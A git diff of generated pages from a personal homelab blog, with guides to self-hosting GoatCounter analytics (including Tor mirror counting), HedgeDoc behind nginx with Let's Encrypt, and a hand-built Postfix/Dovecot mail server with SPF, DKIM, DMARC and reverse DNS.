    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/goatcounter/page/1/index.html b/public-clearnet/tags/goatcounter/page/1/index.html new file mode 100644 index 0000000..7bfbd20 --- /dev/null +++ b/public-clearnet/tags/goatcounter/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/goatcounter/ + \ No newline at end of file diff --git a/public-clearnet/tags/hedgedoc/index.html b/public-clearnet/tags/hedgedoc/index.html new file mode 100644 index 0000000..d6aaca2 --- /dev/null +++ b/public-clearnet/tags/hedgedoc/index.html @@ -0,0 +1,13 @@ +Hedgedoc | AlipourIm journeys +
    HedgeDoc collaborative editing

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    August 29, 2025 · 2 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/hedgedoc/index.xml b/public-clearnet/tags/hedgedoc/index.xml new file mode 100644 index 0000000..bc9056a --- /dev/null +++ b/public-clearnet/tags/hedgedoc/index.xml @@ -0,0 +1,164 @@ +Hedgedoc on AlipourIm journeyshttps://blog.alipour.eu/tags/hedgedoc/Recent content in Hedgedoc on AlipourIm journeysHugo -- 0.146.0enFri, 29 Aug 2025 00:00:00 +0000Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypthttps://blog.alipour.eu/posts/hedge_doc/Fri, 29 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/hedge_doc/<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p>HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w
    +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns
    +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+
    +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r
    +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM
    +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/
    +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU
    +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y
    +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB
    +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk
    +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg=
    +=uf5y
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md.asc
    +gpg --verify hedge_doc.md.asc hedge_doc.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/hedgedoc/page/1/index.html b/public-clearnet/tags/hedgedoc/page/1/index.html new file mode 100644 index 0000000..2de0cbd --- /dev/null +++ b/public-clearnet/tags/hedgedoc/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/hedgedoc/ + \ No newline at end of file diff --git a/public-clearnet/tags/homelab/index.html b/public-clearnet/tags/homelab/index.html new file mode 100644 index 0000000..120538d --- /dev/null +++ b/public-clearnet/tags/homelab/index.html @@ -0,0 +1,21 @@ +Homelab | AlipourIm journeys +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    July 24, 2026 · 17 min · Iman Alipour +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    February 2, 2026 · 6 min · Iman Alipour +

    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. +...

    December 21, 2025 · 9 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/homelab/index.xml b/public-clearnet/tags/homelab/index.xml new file mode 100644 index 0000000..f071448 --- /dev/null +++ b/public-clearnet/tags/homelab/index.xml @@ -0,0 +1,582 @@ +Homelab on AlipourIm journeyshttps://blog.alipour.eu/tags/homelab/Recent content in Homelab on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)https://blog.alipour.eu/posts/self_hosting_mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/posts/self_hosting_mail/A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

